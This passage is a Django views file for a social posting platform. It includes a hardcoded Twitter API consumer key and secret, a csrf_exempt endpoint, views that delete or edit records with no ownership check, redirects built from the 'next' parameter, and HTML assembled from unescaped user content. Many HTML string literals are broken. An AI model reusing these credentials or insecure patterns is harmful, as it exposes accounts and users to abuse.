django.shortcuts import render, render_to_response, get_object_or_404\nfrom django.http import HttpRequest, Http404, HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.template import RequestContext, Context\nfrom django.template.loader import render_to_string, get_template\nfrom django.core.mail import send_mail, EmailMessage\nimport hashlib, datetime, random\nfrom notifications import notify\nfrom notifications.models import Notification\nfrom .forms import *\nfrom .models import *\nfrom django.contrib import messages\nfrom django import template\nfrom django.utils.html import strip_tags\nfrom django_comments.models import Comment\nfrom friendship.models import Friend, Follow\nfrom allauth.socialaccount.models import SocialAccount, SocialToken, SocialLogin\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.humanize.templatetags.humanize import naturalday\nfrom pusher import Pusher\nimport urllib2\nimport json\nimport tweepy\nfrom operator import attrgetter\nfrom itertools import chain\nregister = template.Library()\n\n\n\n\n@register.filter\ndef truncatesmart(value, limit=80):\n try:\n limit = int(limit)\n # invalid literal for int()\n except ValueError:\n # Fail silently.\n return value\n\n # Make sure it's unicode\n value = unicode(value)\n\n # Return the string itself if length is smaller or equal to the limit\n if len(value) <= limit:\n return value\n\n # Cut the string\n value = value[:limit]\n\n # Break into words and remove the last\n words = value.split(' ')[:-1]\n\n # Join the words and return\n return ' '.join(words) + '...'\n\n\ndef get_platforms(request):\n return Platforms.objects.filter(is_active=True)[:10]\n\n\ndef get_userId(request):\n return request.user.id\n\n\n\ndef handler404(request):\n response = render_to_response('404.html', {},\n context_instance=RequestContext(request))\n response.status_code = 404\n return response\n\n\ndef handler500(request):\n response = render_to_response('500.html', {},\n context_instance=RequestContext(request))\n response.status_code = 500\n return response\n\n\ndef myNotifier(request, recipient, target, description, action_object):\n notification = notify.send(request.user, recipient=recipient, verb=u'New Post Published', action_object=action_object,\n description=description, target=target)\n return notification\n\n\n@login_required\ndef socialFriendList(request):\n output = ''\n if SocialAccount.objects.filter(user_id=request.user.id).count() > 0:\n social_user = SocialAccount.objects.get(user_id=request.user.id)\n if social_user.provider == 'facebook':\n social_token = SocialToken.objects.get(account=social_user)\n #checking if the user access token has expired\n url = u'https://graph.facebook.com/{0}/' \\\n u'friends?fields=id,name,location,picture' \\\n u'&access_token={1}'.format(\n str(social_user.uid),\n str(social_token.token),\n )\n request = urllib2.Request(url)\n friends = json.loads(urllib2.urlopen(request).read()).get('data')\n for friend in friends:\n output += ''\n elif social_user.provider == 'twitter':\n social_token = SocialToken.objects.get(account=social_user)\n consumer_key = u'R7fp4dgnYFhIAOhBRMiozPoiB'\n consumer_secret = u'Jrx9Bh9xaP9nXQ1QBoBvsaeN8XkBCpixsnDksEltFI1ElLmbpK'\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(social_token.token, social_token.token_secret)\n api = tweepy.API(auth)\n for follower in tweepy.Cursor(api.followers).items():\n output += ''\n # output += '
    '\n # output += '

    '+ social_token.token_secret+'

    '\n # output += '
    '\n elif social_user.provider == 'google':\n output += '
    '\n output += '

    Expected Google Contacts and Google friends/h3>'\n output += '

    '\n elif social_user.provider == 'instagram':\n output += '
    '\n output += '

    Expected Google Contacts and Google friends/h3>'\n output += '

    '\n else:\n output += '
    '\n output += '

    Sorry We Can\\'t find your Friends.....

    '\n output += '
    '\n else:\n output += '
    '\n output += '

    Sorry We Can\\'t find your Friends.....

    '\n output += '
    '\n return HttpResponse(output)\n\n\n@login_required\ndef mark_all_as_read(request):\n request.user.notifications.unread().mark_all_as_read()\n return HttpResponseRedirect(\"/app/home/\")\n\n\n\n@login_required\ndef profile(request, userName):\n userProfile = User.objects.filter(username=userName)\n for up in userProfile:\n userProf = up\n userPostCount = Post.objects.filter(user=userProf).count()\n userCommentCount = Comment.objects.filter(user=userProf).count()\n\n\n posts = Post.objects.filter(user=userProf).order_by('-updated')\n paginator = Paginator(posts, 10) #show only 10 posts per page\n page = request.GET.get('page')\n\n try:\n postsOut = paginator.page(page)\n except PageNotAnInteger:\n postsOut = paginator.page(1)\n except EmptyPage:\n postsOut = paginator.page(paginator.num_pages)\n context = {\n \"title\": \" | Profile\",\n \"body_class\": 'dashboard-page',\n \"userProf\": userProf,\n \"platformFollowed\": PlatformFollow.objects.filter(user=userProf),\n \"page\": \"profile\",\n 'posts': postsOut,\n \"experiences\": UserExperience.objects.filter(user=userProf).order_by(\"-updated\")[:5],\n \"skills\": UserSkill.objects.filter(user=userProf).order_by(\"-updated\")[:5],\n }\n return render(request, \"home/profile.html\", context)\n\n@login_required\ndef minProfile(request, userName):\n userProf = User.objects.filter(username=userName)\n for up in userProf:\n userprofile = up\n userPostCount = Post.objects.filter(user=userprofile).count() + MinPost.objects.filter(user=userprofile).count()\n userCommentCount = Comment.objects.filter(user=userprofile).count()\n context = \"\"\n context += '
    '\n context += '
    '\n context += '
    '\n context += '
    '\n context += ''\n # context += ''\n context += ''\n context += ''+userprofile.username\n context += ''\n context += ''\n context += '
    '\n context += '
      '\n context += '
    • '\n context += ''+str(userPostCount)+'(Core + Min) Posts'\n context += '
    • '\n context += '
    • '\n context += ''+str(userCommentCount)+'Comments'\n context += '
    • '\n context += '
    '\n if Follow.objects.filter(followee=userprofile.id).filter(follower=request.user.id).count()>0 or request.user.id == userprofile.id:\n pass\n else:\n context += ''\n context += ''\n context += 'Check Profile'\n context += ''\n context += '
    '\n context += '
    '\n context += '
    '\n context += '
    '\n return HttpResponse(context)\n\n\n@login_required\ndef userPlatformReader(request,userName,slug):\n userProfile = User.objects.filter(username=userName)\n platForm = Platforms.objects.get(slug=slug)\n for up in userProfile:\n userProf = up\n userPostCount = Post.objects.filter(user=userProf).count()\n userCommentCount = Comment.objects.filter(user=userProf).count()\n\n\n posts = Post.objects.filter(user=userProf).filter(platform=platForm).order_by('-updated')\n paginator = Paginator(posts, 10) #show only 10 posts per page\n page = request.GET.get('page')\n\n try:\n postsOut = paginator.page(page)\n except PageNotAnInteger:\n postsOut = paginator.page(1)\n except EmptyPage:\n postsOut = paginator.page(paginator.num_pages)\n context = {\n \"title\": \" | Profile\",\n \"userProf\": userProf,\n \"userPostCount\": userPostCount,\n \"userCommentCount\": userCommentCount,\n \"platformFollowed\": PlatformFollow.objects.filter(user=userProf),\n \"page\": \"profile\",\n \"platforms\": get_platforms(request),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowedList\": PlatformFollow.objects.filter(user_id=request.user.id),\n 'posts': postsOut,\n 'postsCount': Post.objects.filter(user=userProf).filter(platform=platForm).count(),\n }\n return render(request, \"home/profile.html\", context)\n\n\n@login_required\ndef home(request):\n #obtaining the the core-platform followed by the users\n core_platform_followed = PlatformFollow.objects.filter(user_id=request.user.id)\n cpf_ids = []\n for cpf in core_platform_followed:\n cpf_ids.append(cpf.platform_id)\n\n posts = Post.objects.filter(platform_id__in=cpf_ids).order_by('-updated')\n paginator = Paginator(posts, 20) #show only 20 posts per page\n page = request.GET.get('page')\n try:\n postsOut = paginator.page(page)\n except PageNotAnInteger:\n postsOut = paginator.page(1)\n except EmptyPage:\n postsOut = paginator.page(paginator.num_pages)\n\n #Getting all unfollowed platforms\n followed_platform_ids = []\n for pf in PlatformFollow.objects.filter(user_id=request.user.id):\n followed_platform_ids.append(pf.platform.id)\n context = {\n \"title\": \" | Home\",\n \"body_class\": 'dashboard-page',\n \"page\": \"home\",\n \"total_posts\": posts.count(),\n \"allPlatforms\": Platforms.objects.all(),\n \"Platforms\": Platforms.objects.all().exclude(id__in=followed_platform_ids),\n \"platforms\": get_platforms(request),\n \"posts\": postsOut,\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowedList\": PlatformFollow.objects.filter(user_id=request.user.id),\n \"tanzausers\": User.objects.all().order_by(\"?\")[:50],\n }\n return render(request, \"home/index.html\", context)\n\n\n\n@login_required\ndef myPlatforms(request):\n #obtaining the the core-platform followed by the users\n core_platform_followed = PlatformFollow.objects.filter(user_id=request.user.id)\n cpf_ids = []\n for cpf in core_platform_followed:\n cpf_ids.append(cpf.platform_id)\n\n posts = Post.objects.filter(platform_id__in=cpf_ids).order_by('updated')\n paginator = Paginator(posts, 20) #show only 20 posts per page\n page = request.GET.get('page')\n try:\n postsOut = paginator.page(page)\n except PageNotAnInteger:\n postsOut = paginator.page(1)\n except EmptyPage:\n postsOut = paginator.page(paginator.num_pages)\n platform_followed_ids = []\n for pf in PlatformFollow.objects.filter(user_id=request.user.id):\n platform_followed_ids.append(pf.platform.id)\n context = {\n \"title\": \" | My-PlatForms\",\n \"body_class\": 'dashboard-page',\n \"page\": \"Platforms\",\n \"total_posts\": posts.count(),\n \"Platforms\": Platforms.objects.all().exclude(id__in=platform_followed_ids),\n \"posts\": postsOut,\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowedList\": PlatformFollow.objects.filter(user_id=request.user.id),\n \"tanzausers\": User.objects.all().order_by(\"?\")[:50],\n }\n return render(request, \"home/my_platforms.html\", context)\n\n\n\n\n@login_required\ndef notificationAjaxLoader(request):\n context = ''\n notificationss = request.user.notifications.unread()\n for notification in notificationss:\n context += '
  • '\n context += ''\n context += ''\n context += ''+notification.verb\n context += 'By '+str(notification.actor)+''\n context += ''\n context += ''\n context += ''\n context += '

    '\n context += notification.description\n context += '

    '\n context += '
    '\n context += ''\n context += str(notification.timestamp)\n context += ''\n context += '
    '\n context += '
    '\n context += '
  • '\n return HttpResponse(context)\n\n@login_required\ndef platformReader(request, key, slug):\n # getting the platform id\n pager = 'Platforms'\n plat = Platforms.objects.get(slug=slug)\n posts = Post.objects.filter(platform_id=plat.id).order_by('-updated')\n paginator = Paginator(posts, 10) #show only 10 posts per page\n page = request.GET.get('page')\n followed = PlatformFollow.objects.filter(user_id=request.user.id).filter(platform_id=plat.id).count()\n try:\n postsOut = paginator.page(page)\n except PageNotAnInteger:\n postsOut = paginator.page(1)\n except EmptyPage:\n postsOut = paginator.page(paginator.num_pages)\n context = {\n \"title\": \" | Platform Reader\",\n \"page\": pager,\n \"platforms\": get_platforms(request),\n \"plat\": plat,\n \"posts\": postsOut,\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowed\": followed,\n \"key\": key,\n }\n return render(request, \"home/platformReader.html\", context)\n\n\n@login_required\ndef newPost(request):\n if request.method == 'POST' and request.POST:\n content = request.POST.get('content')\n platform = request.POST.get('platform')\n newPost = Post()\n newPost.platform_id = platform\n newPost.user_id=request.user.id\n newPost.content = content\n if Post.objects.filter(user_id=request.user.id, platform_id=platform, content=content).count() == 0:\n newPost.save()\n if Post.objects.filter(user_id=request.user.id, platform_id=platform, content=content).count() > 0:\n # sending the notification to the users for the New Post Has Been Created\n post = Post.objects.get(content=content)\n pf = Platforms.objects.get(id=post.platform_id)\n platformUsers = PlatformFollow.objects.filter(platform_id=post.platform_id)\n for platformUser in platformUsers:\n recepients = User.objects.filter(id=platformUser.user_id).exclude(id=request.user.id)\n for rp in recepients:\n myNotifier(request, rp, post, truncatesmart(post.content, 100), post)\n messages.success(request, \"Your Post Successfully Registered\")\n return HttpResponseRedirect(\"/app/home/\")\n else:\n messages.error(request, \"Failed to Register, Please Try again\")\n return HttpResponseRedirect(\"/app/home/\")\n messages.error(request, \"Bad Request\")\n return HttpResponseRedirect(\"/app/home/\")\n\n\n@login_required\ndef editPost(request, key, slug):\n if key == 'core':\n post = Post.objects.get(slug=slug)\n pForm = postForm(instance=post)\n if request.method == 'POST' and request.POST:\n post = Post.objects.get(slug=slug)\n content = request.POST.get('content')\n pForm = postForm(data=request.POST)\n if pForm.is_valid():\n post.platform_id = request.POST.get('platform')\n post.content = request.POST.get('content')\n post.save()\n # sending the notification to the users for the New Post Has Been Created\n post = Post.objects.get(content=content)\n platformUsers = PlatformFollow.objects.filter(platform_id=post.platform_id)\n for platformUser in platformUsers:\n recepients = User.objects.filter(id=platformUser.user_id).exclude(id=request.user.id)\n for recepient in recepients:\n notify.send(request.user, recipient=recepient,target=post, verb='Post Updated',\n description=strip_tags(truncatesmart(content,200)))\n\n messages.success(request, \"Your Post Successfully Updated\")\n return HttpResponseRedirect(\"/app/home/\")\n else:\n messages.error(request, \"Failed to Update, Please Try again\")\n return HttpResponseRedirect(\"/app/home/\")\n else:\n pass\n elif key == 'min':\n post = MinPost.objects.get(slug=slug)\n pForm = postMinForm(instance=post)\n if request.method == 'POST' and request.POST:\n post = MinPost.objects.get(slug=slug)\n content = request.POST.get('content')\n pForm = postMinForm(data=request.POST)\n if pForm.is_valid():\n post.platform_id = request.POST.get('platform')\n post.content = request.POST.get('content')\n post.save()\n # sending the notification to the users for the New Post Has Been Created\n # post = Post.objects.get(content=content)\n # platformUsers = PlatformFollow.objects.filter(platform_id=post.platform_id)\n # for platformUser in platformUsers:\n # recepients = User.objects.filter(id=platformUser.user_id).exclude(id=request.user.id)\n # for recepient in recepients:\n # notify.send(request.user, recipient=recepient,target=post, verb='Post Updated',\n # description=strip_tags(truncatesmart(content,200)))\n\n messages.success(request, \"Your Post Successfully Updated\")\n return HttpResponseRedirect(\"/app/home/\")\n else:\n messages.error(request, \"Failed to Update, Please Try again\")\n return HttpResponseRedirect(\"/app/home/\")\n else:\n pass\n context = {\n \"title\": \" | Edit Post\",\n \"page\": \"home\",\n \"platforms\": get_platforms(request),\n \"postform\": pForm,\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowedList\": PlatformFollow.objects.filter(user_id=request.user.id),\n \"key\": key,\n }\n return render(request, \"home/editPost.html\", context)\n\n@login_required\ndef deletePost(request, postId):\n post = Post.objects.get(id=postId)\n comment = PostComment.objects.filter(post_id=postId)\n for cm in comment:\n cm.delete()\n post.delete()\n\n next = request.GET.get('next')\n if Post.objects.filter(id=postId).exists():\n messages.error(request, \"Failed to Delete Post\")\n messages.success(request, \"Try again...\")\n else:\n messages.success(request, \"Post Successfully Deleted\")\n messages.success(request, \"Feel Free to Post again\");\n return HttpResponseRedirect(next)\n\n\n@login_required\ndef postLike(request):\n postId = request.GET.get('id')\n likeObject = PostLikes()\n likeObject.user_id=request.user.id\n likeObject.post_id=postId\n if PostLikes.objects.filter(post_id=postId, user_id=request.user.id).exists():\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"You already Liked This Post\",\n }\n content.append(info)\n else:\n likeObject.save()\n content = []\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Post Successfully Liked\",\n \"total_likes\": PostLikes.objects.filter(post_id=postId).count()\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n\n@csrf_exempt\n@login_required\ndef profileStatus(request):\n if request.method == 'POST':\n if request.POST or None:\n status = request.POST.get('status')\n userProfile = UserProfile.objects.get(user_id=request.user.id)\n userProfile.status = status\n userProfile.save()\n if UserProfile.objects.filter(user_id=request.user.id, status=status).exists():\n content = []\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Status Successfully Updated\",\n \"status_content\": status,\n }\n content.append(info)\n else:\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Updated\",\n }\n content.append(info)\n else:\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Updated Failed\",\n }\n content.append(info)\n else:\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Updated Failed\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n\n\n\n@login_required\ndef userExperience(request):\n content = []\n if request.method == 'POST':\n if request.POST or None:\n experience = request.POST.get('experience')\n userExperienceObject = UserExperience()\n userExperienceObject.user_id = request.user.id\n userExperienceObject.experience = experience\n userExperienceObject.save()\n if UserExperience.objects.filter(user_id=request.user.id, experience=experience).exists():\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Experience Successfully Published\",\n \"experience\": experience,\n }\n content.append(info)\n else:\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Publish Experience\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed To Publish Experience\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Bad Request\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n\n@login_required\ndef editExperience(request):\n if request.method == 'POST':\n experience = request.POST.get('experience')\n experienceId = request.POST.get('id')\n experienceObject = UserExperience.objects.get(id=experienceId)\n experienceObject.experience = experience\n experienceObject.save()\n content = []\n if UserExperience.objects.filter(user_id=request.user.id, experience=experience, id=experienceId).exists():\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Experience Successfully Updated\",\n \"experience\": experience,\n \"id\": experienceId,\n }\n else:\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Updated Experience\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n experienceId = request.GET.get('id')\n experienceObject = UserExperience.objects.get(id=experienceId)\n content = []\n info = {}\n info = {\n \"status\": True,\n \"experience\": experienceObject.experience,\n \"id\": experienceId,\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n@login_required\ndef deleteExperience(request):\n experienceId = request.GET.get('id')\n experienceObject = UserExperience.objects.get(id=experienceId)\n experienceObject.delete()\n if UserExperience.objects.filter(id=experienceId).exists():\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Delete Experience\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n content = []\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Experience Successfully Deleted\",\n \"id\": experienceId,\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n\n@login_required\ndef skills(request):\n content = []\n if request.method == 'POST':\n if request.POST or None:\n skill = request.POST.get('skill')\n newSkill = UserSkill()\n newSkill.user_id = request.user.id\n newSkill.skill = skill\n if UserSkill.objects.filter(user_id=request.user.id,skill=skill).exists():\n message = \"Skill Already Registered\"\n newSkillObject = UserSkill.objects.get(Q(user_id=request.user.id) and Q(skill=skill))\n info = {}\n info = {\n \"status\": True,\n \"message\": message,\n \"skill\": skill,\n \"id\": newSkillObject.id,\n }\n else:\n newSkill.save()\n message = \"Skill Successfully Added\"\n newSkillObject = UserSkill.objects.get(Q(user_id=request.user.id) and Q(skill=skill))\n info = {}\n info = {\n \"status\": True,\n \"message\": message,\n \"skill\": skill,\n \"id\": newSkillObject.id,\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Add Skill\",\n }\n content.append(info)\n return HttpResponse(json.dumps(info))\n else:\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Bad Request\",\n }\n content.append(info)\n return HttpResponse(json.dumps(info))\n\n\n@login_required\ndef deleteSkill(request):\n content = []\n skillId = request.GET.get('id')\n skillObject = UserSkill.objects.get(id=skillId)\n skillObject.delete()\n if UserSkill.objects.filter(id=skillId).exists():\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Delete\"\n }\n else:\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Successfully Deleted\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n\n@login_required\ndef editSkill(request):\n if request.method == 'POST':\n if request.POST or None:\n skillId = request.POST.get('id')\n skill = request.POST.get('skill')\n skillObject = UserSkill.objects.get(id=skillId)\n skillObject.skill = skill\n skillObject.save()\n if UserSkill.objects.filter(user_id=request.user.id, skill=skill).exists():\n content = []\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Skill Successfully Updated\",\n \"skill\": skill,\n \"id\": skillId,\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Update Skill\",\n }\n content.append(info)\n return HttpResponse(json.dumps(info))\n else:\n content = []\n skillId = request.GET.get('id')\n skillObject = UserSkill.objects.get(id=skillId)\n info = {}\n info = {\n \"status\": True,\n \"skill\": skillObject.skill,\n \"id\": skillObject.id,\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n@login_required\ndef deleteComment(request, commentId):\n comment = PostComment.objects.get(id=commentId)\n postObject = Post.objects.get(id=comment.post.id)\n comment.delete()\n if PostComment.objects.filter(id=commentId).exists():\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Delete\"\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n else:\n content = []\n info = {}\n info = {\n \"status\": True,\n \"message\": \"Comment Successfully Deleted\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n content = []\n info = {}\n info = {\n \"status\": False,\n \"message\": \"Failed to Delete\",\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n\n@login_required\ndef postCommentReader(request, slug):\n if request.method == 'POST':\n if request.POST or None:\n newComment = PostComment()\n newComment.user_id=request.user.id\n newComment.comment = request.POST.get('comment')\n newComment.post_id = request.POST.get('post')\n newComment.save()\n content = []\n comments = PostComment.objects.filter(post_id=request.POST.get('post')).order_by('updated')\n for comment in comments:\n info = {}\n info = {\n \"id\": comment.id,\n \"comment\": comment.comment,\n \"username\": str(comment.user.username),\n \"userUrl\": comment.user.profile.profile_image_url(),\n \"updated\": str(naturalday(comment.updated)),\n }\n content.append(info)\n return HttpResponse(json.dumps(content))\n posts = Post.objects.filter(slug=slug)\n post_id = \"\"\n for post in posts:\n post_id = post.id\n context = {\n \"title\": \" | Comments\",\n \"body_class\": 'dashboard-page',\n \"page\": \"platforms\",\n \"key\": slug,\n \"platforms\": get_platforms(request),\n \"posts\": posts,\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowedList\": PlatformFollow.objects.filter(user_id=request.user.id),\n \"comment_list\": PostComment.objects.filter(post_id=post_id).order_by('-updated'),\n }\n return render(request, \"home/commentReader.html\", context)\n\n@login_required\ndef postNotificationCommentReader(request, slug):\n if Post.objects.filter(slug=slug).count() > 0:\n posts = Post.objects.filter(slug=slug)\n ntId = request.GET.get('nt')\n if ntId != '':\n obj = Notification.objects.filter(id=ntId)\n obj.delete()\n elif MinPost.objects.filter(slug=slug).count() > 0:\n posts = MinPost.objects.filter(slug=slug)\n ntId = request.GET.get('nt')\n if ntId != '':\n obj = Notification.objects.filter(id=ntId)\n obj.delete()\n context = {\n \"title\": \" | Comments\",\n \"page\": \"platforms\",\n \"key\": slug,\n \"platforms\": get_platforms(request),\n \"posts\": posts,\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n \"platformFollowedList\": PlatformFollow.objects.filter(user_id=request.user.id),\n \"slug\": 'core',\n }\n return render(request, \"home/commentReader.html\", context)\n\n\n@login_required\ndef editProfilePicture(request):\n if request.method == 'POST' and request.POST:\n user_pic = UserProfile.objects.get(user_id=request.user.id)\n userProfilePicForm = profilePictureForm(request.POST, request.FILES)\n if request.POST or None:\n if userProfilePicForm.is_valid():\n user_pic.pic = userProfilePicForm.cleaned_data['pic']\n user_pic.save()\n messages.success(request, 'Profile Picture Successfully Updated')\n return HttpResponseRedirect('/app/home/')\n else:\n messages.error(request, 'Please Make sure it is an image, only images are allowed')\n pass\n return HttpResponseRedirect(\"/app/home/\")\n\n\ndef register(request):\n if request.method == 'POST':\n user_form = registration(data=request.POST)\n if user_form.is_valid():\n user = user_form.save()\n\n username = user_form.cleaned_data['username']\n email = user_form.cleaned_data['email']\n salt = hashlib.sha1(str(random.random())).hexdigest()[:5]\n activation_key = hashlib.sha1(salt + email).hexdigest()\n key_expires = datetime.datetime.today() + datetime.timedelta(2)\n\n #updating the username if not registered\n userName = User.objects.get(email=email)\n userName.username = request.POST.get('username')\n userName.save()\n # Get user by username\n user = User.objects.get(email=email)\n\n # Create and save user profile\n new_profile = UserProfile(user=user, activation_key=activation_key, key_expires=key_expires)\n new_profile.save()\n\n # Send email with activation key\n # email_subject = 'Account confirmation'\n # email_body = \"Hey %s, thanks for signing up. To activate your account, click this link within \\\n # 48hours http://127.0.0.1:8000/app/accounts/confirm/%s\" % (username, activation_key)\n #\n # send_mail(email_subject, email_body, 'myemail@example.com', [email], fail_silently=False)\n\n\n # sending the Activation E-mail to Registered User\n subject = \"Account Activation Confirmation\"\n to = [email]\n from_email = \"daniellykindimba@gmail.com\"\n\n ctx = {\n \"message\": \"Hey %s, thanks for signing up, To activate your account, click the link below\" % (username),\n \"link\": \"http:/127.0.0.1:8000/app/accounts/confirm/%s\" % (activation_key),\n }\n message = get_template(\"registration/emailSuccessTemplate.html\").render(Context(ctx))\n msg = EmailMessage(subject, message, to=to, from_email=from_email)\n msg.content_subtype = 'html'\n msg.send()\n\n if user:\n return HttpResponseRedirect(\"/app/registerSuccess/\")\n else:\n return HttpResponseRedirect(\"/app/registerFail/\")\n else:\n context = {\n \"title\": \"Registration\",\n \"form\": user_form,\n }\n return render(request, 'registration/register.html', context)\n else:\n context = {\n \"title\": \"Registration\",\n \"form\": registration(),\n }\n return render(request, 'registration/register.html', context)\n\n\ndef registerSuccess(request):\n context = {\n \"message\": \"Your successfully registered, Please Go to your E-mail Account for Activation\",\n }\n return render(request, 'registration/success.html', context)\n\n\ndef registerFail(request):\n context = {\n \"message\": \"We are Sorry, Registration Failed\",\n }\n return render(request, 'registration/failure.html', context)\n\n\ndef register_confirm(request, activation_key):\n # check if user is already logged in and if he is redirect him to some other url, e.g. home\n if request.user.is_authenticated():\n HttpResponseRedirect('/home/')\n\n # check if there is UserProfile which matches the activation key (if not then display 404)\n user_profile = get_object_or_404(UserProfile, activation_key=activation_key)\n\n # check if the activation key has expired, if it hase then render confirm_expired.html\n if user_profile.key_expires < timezone.now():\n context = {\n \"message\": \"We are sorry, Time for activation expired, please Register Again\"\n }\n return render(request, 'registration/activation_expired.html', context)\n # if the key hasn't expired save user and set him as active and render some template to confirm activation\n user = user_profile.user\n user.is_active = True\n activated = user.save()\n context = {\n \"message\": \"Your account is Successfully Activated, Please login to proceed\"\n }\n return render(request, 'registration/activation_success.html', context)\n\n\n\n\n@login_required\ndef platFormFollow(request, platform_id):\n platFollow = PlatformFollow()\n platFollow.platform_id = platform_id\n platFollow.user_id = request.user.id\n platFollow.is_active = True\n if PlatformFollow.objects.filter(user_id=request.user.id).filter(platform_id=platform_id).count() == 0:\n platFollow.save()\n messages.success(request, \"Successfully Followed\")\n elif PlatformFollow.objects.filter(user_id=request.user.id).filter(platform_id=platform_id).count() > 0:\n messages.error(request, \"Failed\")\n\n next = request.GET.get('next')\n return HttpResponseRedirect(\"/app/\" + next + \"/\")\n\n@login_required\ndef platformUnFollow(request, platform_id):\n coreplatUnFollow = PlatformFollow.objects.filter(user_id=request.user.id).filter(platform_id=platform_id)\n coreplatUnFollow.delete()\n if PlatformFollow.objects.filter(user_id=request.user.id, platform_id=platform_id).exists():\n messages.error(request, \"Failed to Un-follow Platform\")\n else:\n messages.success(request, \"Successfully Un-followed Platform\")\n next = request.GET.get('next')\n return HttpResponseRedirect(\"/app/\" + next + \"/\")\n\n@login_required\ndef userFollow(request, user_id):\n userToFollow = User.objects.get(id=user_id)\n following_created = Follow.objects.add_follower(request.user, userToFollow)\n if following_created:\n context = \"\"\n else:\n context = \"\"\n return HttpResponse(context)\n\n\n@login_required\ndef friends(request):\n context = {\n \"title\": \" | Friends\",\n \"body_class\": 'dashboard-page',\n \"newUsers\": User.objects.all().exclude(id=request.user.id)[:10],\n }\n return render(request, \"home/friends.html\", context)\n\n\n\n@login_required\ndef postImageUpload(request):\n return HttpResponse(200)\n\n\n@login_required\ndef totalPost(request):\n tp = Post.objects.filter(user_id=request.user.id).count()\n return HttpResponse(tp)\n\n@login_required\ndef totalMinPost(request):\n tp = MinPost.objects.filter(user_id=request.user.id).count()\n return HttpResponse(tp)\n\n@login_required\ndef totalComment(request):\n tc = Comment.objects.filter(user_id=request.user.id).count()\n return HttpResponse(tc)\n\n@login_required\ndef totalPlatformFollowedUser(request):\n context = PlatformFollow.objects.filter(user_id=request.user.id).count()\n return HttpResponse(context)\n\n@login_required\ndef totalUserFollowed(request):\n context = Follow.objects.filter(follower=request.user).count()\n return HttpResponse(context)\n\n@login_required\ndef userPlatformFollowedList(request):\n context = ''\n platformFollowed = PlatformFollow.objects.filter(user_id=request.user.id)\n for pf in platformFollowed:\n context += ''\n return HttpResponse(context)\n\n\n@login_required\ndef moreCorePlatform(request):\n context = ''\n platforms = Platforms.objects.all().exclude(is_active=False)\n for pf in platforms:\n context += '
    '\n context += '   '\n context += pf.name\n context += ''\n context += '
    '\n return HttpResponse(context)\n\n\n@login_required\ndef corePlatformFormLoad(request):\n platforms = Platforms.objects.all().exclude(is_active=False)\n context = \"\"\n context += '
    '\n context += ''\n context += ''\n context += '
    '\n context += '
    '\n context += ''\n context += ''\n context += '
    '\n context += '
    '\n context += ''\n context += '
